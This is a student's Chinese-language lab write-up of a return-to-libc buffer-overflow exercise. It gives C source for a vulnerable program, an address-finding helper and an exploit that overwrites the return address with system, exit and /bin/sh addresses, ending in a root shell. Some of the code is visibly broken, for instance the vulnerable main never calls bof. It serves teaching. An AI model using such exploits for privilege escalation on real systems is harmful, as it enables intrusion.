20145319 return-to-libc攻击实验
20145319 Return-to-libc攻击实验
一 实验内容
- return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验
- 缓冲区溢出攻击相关知识:
- 原理:通过一段包含shellcode以及shellcode地址的长字符串注入到程序中,以shellcode地址来覆盖程序原有的返回地址,从而让目标程序来执行我们的shellcode,以此达到攻击目的
- 保护措施:为了防止缓冲区溢出攻击,现在常用的保护措施有两种,一是设置堆栈不可执行,漏洞程序在执行注入到堆栈中的shellcode时就会发生程序崩溃。二是代码生成地址随机化,以此来使得攻击者无法准确得知shellcode的地址
- return-to-libc攻击原理:
- 为了避开堆栈不可执行的问题,return-to-libc攻击放弃了让漏洞程序执行堆栈中的shellcode,而是跳转到已经存在的代码(例如libc库中的system函数)来完成攻击
二 实验步骤
安装32位c语言程序编译器,
sudo apt-get lib32z1 libc6-dev-i386,sudo apt-get install lib32readline-gplv2-dev准备32位实验环境(本次实验在实验楼环境下完成)
在实际中为了防范缓冲区溢出等攻击,通常会降低shell程序的权限,即无法保持root权限,为了绕过这个问题,我们使用另一个shell程序,zsh来代替
/bin/bash
上面说过,现在为了防止代码的注入,操作系统对于代码所分配的堆栈地址都是随机的,这也不利于我们找到之后我们需要找到的
/bin/sh``system函数``exit函数的地址完成地址注入,所以我们要事先关闭掉地址随机化
准备工作都完成之后,我们用以下三个程序来完成我们的攻击
一段包含缓冲区溢出漏洞,由于生成
root shell的漏洞代码myretlib.c/*myretlib.c*/ #include <stdio.h>
#include <stdlib.h>
#include <string.h> int bof(FILE *badfile){
char buffer[12];
fread(buffer,sizeof(char),40,badfile);
return 1
} int main(int argc, char **argv){
FILE *badfile;
badfile=fopen("badfile","r");
printf("returned properly\n");
fclose(badfile);
return 1;
}
读取环境变量的程序
getenvaddr.c/*getenvaddr.c*/ #include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc,char const *argv[]){
char *ptr;
if(argc < 3){
printf("usage : %s <enviroment var> <target program name>\n",argv[0]);
exit(0);
}
ptr=getenv(argv[1]);
ptr+=(strlen(argv[0]-strlen(argv[2]))*2;
printf("%s will be at %p\n",argv[1],ptr);
return 0;
}
攻击用程序
exploit.c将我们获得的/bin/sh,system函数,exit函数的地址写进新的badfile中/*exploit.c*/ #include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char **argv){
char buf[40];
FILE *badfile;
badfile=fopen(".//badfile","w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); *(long *) &buf[32] = 0x11111111; /*用以保存//bin//sh 的相关地址*/
*(long *) &buf[24] = 0x22222222; /*用以保存system函数的相关地址*/
*(long *) &buf[36] = 0x33333333; /*用以保存exit函数的相关地址*/ fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
在完成编译后,我们首先通过读取环境变量的程序
getenvaddr.c来获得BIN_SH的地址

而一般程序中,都会跳转到系统已经存于内存中的函数
system和exit所以我们通过设置断点来跟踪获得相应的地址
在
strcpy函数处设置断点,继续运行
将我们获得的三个地址填入代码
exploit.c中,删除badfile,重新编译再次运行代码
exploit时就会生成新的badfile
此时运行我们的漏洞程序
myretlib输入命令whoami即可见攻击成功
20145319 return-to-libc攻击实验的更多相关文章
- 20145307陈俊达《网络对抗》shellcode注入&return to libc
20145307陈俊达<网络对抗>shellcode注入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将 ...
- 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验
20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- Mininet实验 基于Mininet实现BGP路径挟持攻击实验
参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...
- Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...
随机推荐
- JS-【同页面多次调用】tab选项卡封装
这两天遇到一个页面,同一个页面中同一个特效会用好多次,比如tab,比如轮播等.我又不想很不负责任的复制一遍代码,那样页面臃肿,自己心里也堵得慌.于是就想着把代码封装起来多次调用. 对于封装,只在公开课 ...
- MyBatis——Mapper XML 文件
Mapper XML 文件 MyBatis 的真正强大在于它的映射语句,也是它的魔力所在.由于它的异常强大,映射器的 XML 文件就显得相对简单.如果拿它跟具有相同功能的 JDBC 代码进行对比,你会 ...
- 关于记录cookie引发的问题
很多时候我们会通过记录cookie的方式来记录用户的最后一次行为,但是对cookie的处理是在js中进行的. 但通常情况下,html.css都要早于js加载完成,并且可能在js生效之前就已经渲染完成了 ...
- sencha touch 问题汇总
做sencha touch有一段时间了,目前而言,sencha touch在android上问题比较严重,在此对android中sencha touch的问题做一些汇总: 1.内存问题: 打包成安装程 ...
- 在android真机上使用sqlite3
#zijun#2013.10.29#QQ:223663737 在android真机上使用sqlite3 前期准备: 1:保证手机已经ROOT 操作步骤: 1 : 打开CMD 2 : 进入android ...
- Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】
零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...
- java反序列化漏洞的检测
1.首先下载常用的工具ysoserial 这边提供下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b ...
- 使用servlet3.0提供的API来进行文件的上传操作
servlet 3.0针对文件上传做了一些优化,提供了一些更加人性化的API可以直接在request中的到文件的名称.文件size,MIME类型,以及用InputStream表示的文件流的信息 @Re ...
- WCF(五) 深入理解绑定
适用于本机WCF-WCF交互性能最佳的绑定: 允许跨主机,但只能用于部署同一台主机上,不能访问命名管道 netNamePipeBinding总结 一 WCF与SOA SOA是一种通过为所有软件提供服务 ...
- highmaps如何自定义 区间的颜色刻度
https://api.highcharts.com/highmaps/colorAxis.dataClassColor http://jsfiddle.net/gh/get/library/pure ...